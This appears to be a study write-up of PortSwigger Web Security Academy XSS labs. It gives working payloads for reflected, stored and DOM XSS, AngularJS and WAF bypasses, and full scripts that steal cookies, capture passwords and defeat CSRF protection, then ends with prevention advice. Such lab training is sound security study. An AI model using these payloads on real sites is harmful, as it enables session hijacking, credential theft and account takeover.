XSS Intro
XSS is a type of injection attack that allows attackers to execute arbitrary JavaScript in a user’s browser, leading to session hijacking, phishing, defacement, or redirection to malicious sites.
Stored XSS (Persistent)
- Malicious script is saved on the server (e.g., in a comment or profile field).
- Triggered every time another user loads that data.
Reflected XSS
- Script is embedded in a URL or request.
- Reflected back in the response (e.g., in search results or error messages).
DOM-Based XSS
- Occurs entirely on the client side.
- JavaScript modifies the page using unsafe data from location, document, etc.
XSS Apprentice practice in Portswigger Labs
Lab: Reflected XSS into HTML context with nothing encoded
- In a search bar type something easy to find when you do a view page source/inspect for a page and try to find if it is reflected somewhere, if yes - you could just try to escape some symbols and paste something like:
1
| "><script>alert('Hello friend')</script>
|
1
2
3
| "><script>prompt('Hello friend')</script>
"><script>prompt(document.domain)</script>
"><script>prompt(document.cookie)</script>
|
Lab: Stored XSS into HTML context with nothing encoded
- Saving comments with XSS will do the thing:
1
| "><script>alert('Hello friend')</script>
|
Lab: DOM XSS in document.write sink using source location.search
- When you are using search bar pay attention that your check word appears in some image tag:
1
| <img src="/resources/images/tracker.gif?searchTerms=FUZZ">
|
- So you could try to escape it:
1
| "><img src=x onerror=alert('Hello friend')>
|
1
| "><svg onload=alert('Hello friend')>
|
Lab: DOM XSS in innerHTML sink using source location.search
- When you are using search bar pay attention that your check word appears used by JS:
1
2
3
4
5
6
7
| function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
|
- So as we can see it just injects what we provide into some span element:
1
| <span id="searchMessage">FUZZ</span>
|
- Lets try with the img thing:
1
| <img src=x onerror=alert('Hello friend')>
|
1
| <svg onload=alert('Hello friend')>
|
Lab: DOM XSS in jQuery anchor href attribute sink using location.search source
- Try to inspect all the links and check what are they used.
- For example the link
<a id="backLink">Back</a> also used here:
1
2
3
4
5
| <script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
|
- And we can notice that there is a selector
$ which just grab a #backlink element which is selected from URL by element returnPath so maybe we could manipulate this URL element and instead of the / we could try to use something like this:
1
| javascript:alert('Hello friend')
|
- To actually see an alert box just click
Back button
DOM XSS in jQuery selector sink using a hashchange event
# symbol could be used as a bookmark for paginated pages, so let’s see what is happening underthehood when # found …
Using view page source inspecting page and see this:
1
2
3
4
5
6
| <script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>
|
So if our url looks like this: view-source:https://0a9800b904851b908190070300000006.web-security-academy.net/#Passwords we could check in console that window.location.hash will give us a #Passwords
Understanding that source (src) is initiating an http request, let’s provide the exploit:
1
| <iframe src="https://PUT_YOUR_LAB_ID_HERE.web-security-academy.net#" onload="this.src+='<img src=x onerror=print()>'">
|
Lab: Reflected XSS into attribute with angle brackets HTML-encoded
- Here we see that word is reflected inside the h1 tags and second one in the input field encoded (if we try regular
<img src=x onerror=alert()>) it will gives us nothing - So we could try to escape encoding by searching this:
1
| " autofocus onfocus=alert('Hello friend') x="
|
1
| <a href="#" onclick="alert('Hello friend')">Click</a>
|
1
| "onmouseover="alert('Hello friend')
|
Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded
- We should left a comment so clicking a username who lived a comment will trigger an alert box, lets add some comment and inspect a page. In the comment section we will see something like this:
1
| <a id="author" href="https://www.random.com">friend</a>
|
- Currently
https://www.random.com used as a site and if friend (provided username) clicked we will be redirected there so basically what we need to do is use this payload in site section:
1
| javascript:alert('Hello friend')
|
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
- As it is written - to solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
- Let’s search
FUZZ and inspect the page we will find 3 occurances and one of them like this:
1
2
3
4
| <script>
var searchTerms = 'FUZZ';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
|
- So what we need to search here to escape from the javascript:
1
| ';alert('Hello friend');//
|
- Alternatively one of these:
1
2
| '-alert("Hello friend")-
'; alert("Hello friend"); var new_var='test
|
XSS Practitioner practice in Portswigger Labs
Lab: DOM XSS in document.write sink using source location.search inside a select element
- Let’s investigate a page and click on any product, notice that url became something like this:
1
| https://PUT_YOUR_LAB_ID_HERE.web-security-academy.net/product?productId=1
|
- Let’s inspect a page - there you can find this:
1
2
3
4
5
| <select name="storeId">
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>
|
- So even we don’t have a storeId parameter in our url but it is existing in the DOM, so we could try to escape
option and use something like this to use it:
1
| &storeId=</option><script>alert('Hello+friend')</script>
|
Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
- As written in a lab description - here we have Angular (which scans the contents of HTML nodes containing the ng-app attribute)
- Let’s check what will be reflected on a screen if we try to search { { 1+1 } } -> instead of { { 1+1 } } we have
2 (NB! double curly brackets need to be written without a space between them here I add space just to escape content blocking) - So what we actually can try here in a searchbar:
1
| { { ('alert("Hello friend")')() } }
|
1
2
| { { $eval.constructor('alert("Hello friend")')() } }
{ { $on.constructor('alert("Hello friend")')() } }
|
Lab: Reflected DOM XSS
- Let’s investigate how search functionality works here - using Burp (Target-> Site map-> search-result) or Network in the inspect dev tools checkout Request/Response () and pay attention what we get from search:
PING:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| GET /search-results?search=koffin HTTP/2
Host: YOUR_LAB_ID_HERE.web-security-academy.net
Cookie: session=Klc0vOVkwhSIMGBA4dzuak023BHxieKq
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://YOUR_LAB_ID_HERE.web-security-academy.net/?search=koffin
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
|
PONG:
1
2
3
4
5
6
7
| HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 347
{"results":[{"id":2,"title":"Say It With Flowers - Or Maybe Not","image":"blog/posts/49.jpg","summary":"Ahhhh, St. Valentine's Day. What better way to let that special someone know you love them than giving them a beautiful bouquet of flowers. It's OK for those who know you feel that way, but be careful of going over..."}],
"searchTerm":"koffin"}
|
- So what we actually can try here - is escaping
" and } so provide this payload in a searchbar:
1
| \"}; alert('Hello friend')//
|
1
| \"}- alert('Hello friend')//
|
Lab: Stored DOM XSS
- Here we have a hint
vulnerability in the blog comment functionality so we know what needs to be compromized, lets check a JS files to understand the logic. One of the first things that caught an eye in a loadCommentsWithVulnerableEscapeHtml.js the escapeHTML function as I came from python, I thought the logic is ok till I checked how replace worked in JS (instead of whole replacement it will only replace first occurances):
1
2
3
| function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
|
- So after you understand that, the solution is pretty obvious, comment should looks something like this:
1
| <><img src=x onerror=alert(document.domain)>
|
Lab: Reflected XSS into HTML context with most tags and attributes blocked
- In this lab WAF is blocking a lot of things so we will need to brute force and check what is not blocked. Let’s use a Portswigger cheatsheet and step by step brute force it via intruder (first tags and after that attributes):
1
| <body onresize=print()>
|
- But because we need to do it so user will do no extra moves the payload we could provide via exploit server needs to look something like this:
1
| <iframe src="https://YOUR_LAB_ID_HERE.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E"+onload=this.style.width='50px'>
|
Lab: Reflected XSS into HTML context with all tags blocked except custom ones
- Since we have a hint that only custom tags allowed - we could create a custom tag and since we could use onfocus payload will looks like this (and to execute XSS we need to add #x so page will focus and trigger the allert):
1
| <customtag+onfocus=alert(document.cookie)+id='x'+tabindex=1>
|
- So our exploit server could have a payload like this:
1
2
3
| <script>
location="https://YOUR_LAB_ID_HERE.web-security-academy.net/?search=<customtag+onfocus=alert%28document.cookie%29+id=%27x%27+tabindex=1>#x"
</script>
|
Lab: Reflected XSS with some SVG markup allowed
- We need the same approach with intruder so step by step we could found proper payload
1
| <svg><animatetransform onbegin=alert(document.domain)>
|
Lab: Reflected XSS in canonical link tag
- Let’s view a page source and find a canonical link. So canonical link in the header, let’s add
?coffee parameter to url and check the head:
1
2
3
4
5
| <head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<link rel="canonical" href='https://YOUR_LAB_ID_HERE.web-security-academy.net/?coffee'/>
<title>
|
- In this lab we can abuse URL link in the chrome. So we can use access keys, since we know user will use
X key and we could escape the href using this payload:
1
| https://YOUR_LAB_ID_HERE.web-security-academy.net/?'accesskey='x'onclick='alert(1)
|
- So our head will look like this and just clicking
X will trigger XSS
1
2
3
4
5
| <head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<link rel="canonical" href='https://YOUR_LAB_ID_HERE.web-security-academy.net/?' accesskey='x' onclick='alert(document.domain)'/>
<title>
|
Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
- First things first - let’s find where it is reflected - search for
FUZZ (there 3 places with reflection, but because of the lab name this one is the most interesting):
1
2
3
4
| <script>
var searchTerms = 'FUZZ';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
|
1
| </script><script> alert(document.domain)</script>
|
Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
- This one is pretty simillar:
1
| coffee\'; alert(document.domain)//
|
Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
- Ok so we know that XSS is stored so first thing - find where it is stored (and in the lab we have a hint - it is somewhere in comment section), so pushing a couple of payloads gives us an understanding how to escape from a string/link:
1
| http://foo.com/?'-alert(document.domain)-'
|
1
| http://foo.com/?'-alert(document.domain)-'
|
Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
- Sometimes you cannot escape something, but you are able to run code from the inside:
1
| ${alert(document.domain)}
|
Lab: Exploiting cross-site scripting to steal cookies
- Since I have no Burp premium with avalable Collaborator - the solution is to post a comment which will force others to post their comments:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <script>
window.addEventListener('DOMContentLoaded', function (){
var data = new FormData();
data.append('csrf', document.getElementsByName('csrf')[0].value);
data.append('postId', 3);
data.append('comment', document.cookie);
data.append('email', 'test@test.tst');
data.append('name', 'tester');
data.append('website', 'http://foo.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
|
Lab: Exploiting cross-site scripting to capture passwords
- Here we will prepare input form and create a function triggered by filling this form and post a comment with credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| <input name=username id=username>
<input type=password name=password onchange=fill()>
<script>
function fill () {
var data = new FormData();
var user = document.getElementsByName('username')[0].value;
var pass = document.getElementsByName('password')[0].value;
data.append('csrf', document.getElementsByName('csrf')[0].value);
data.append('postId', 3);
data.append('comment', `${user}:${pass}`);
data.append('email', 'test@test.tst');
data.append('name', 'tester');
data.append('website', 'http://foo.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>
|
Lab: Exploiting XSS to bypass CSRF defenses
- Pay attention that CSRF token is visible from the page source (hidden field)
1
2
3
4
5
6
7
8
9
10
11
12
| <script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&hello@friend.com')
};
</script>
|
or
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <script>
fetch('/my-account')
.then(response => response.text())
.then(html => {
var token = document.getElementsByName("csrf")[0].value;
return fetch('/my-account/change-email', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `csrf=${token}&email=hello@friend.com`
});
})
</script>
|
or
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <script>
window.addEventListener('DOMContentLoaded', function (){
var data = new FormData();
data.append('csrf', document.getElementsByName("csrf")[0].value)
data.append('email', 'test@test.tst');
fetch('/my-account/change-email', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
|
How to Prevent XSS
Output Encoding
- Encode untrusted data before inserting it into HTML, JS, or attributes.
- Use libraries:
- Python (Jinja2 autoescapes by default)
- JavaScript: textContent or innerText instead of innerHTML
- OWASP Java Encoder Context Encode As HTML Element <, >, " HTML Attribute ", ' JavaScript Escape strings carefully URL Params Use encodeURIComponent()
Input Validation (as defense-in-depth)
- Only allow safe, expected input.
- E.g., name fields shouldn’t accept
Use Content Security Policy (CSP)
- Helps block inline scripts and external scripts from untrusted sources.
Content-Security-Policy: default-src 'self'; script-src 'self'
HTTPOnly and Secure Cookies
- Prevents cookie theft via document.cookie.
Set-Cookie: session=abc123; HttpOnly; Secure
Avoid Dangerous Functions
- Avoid innerHTML, document.write, eval(), and setTimeout(“…”).
Sanitize User Input for Rich Content
- If users can submit HTML (e.g., comments), sanitize using: Python: bleach, Node.js: DOMPurify, PHP: HTML Purifier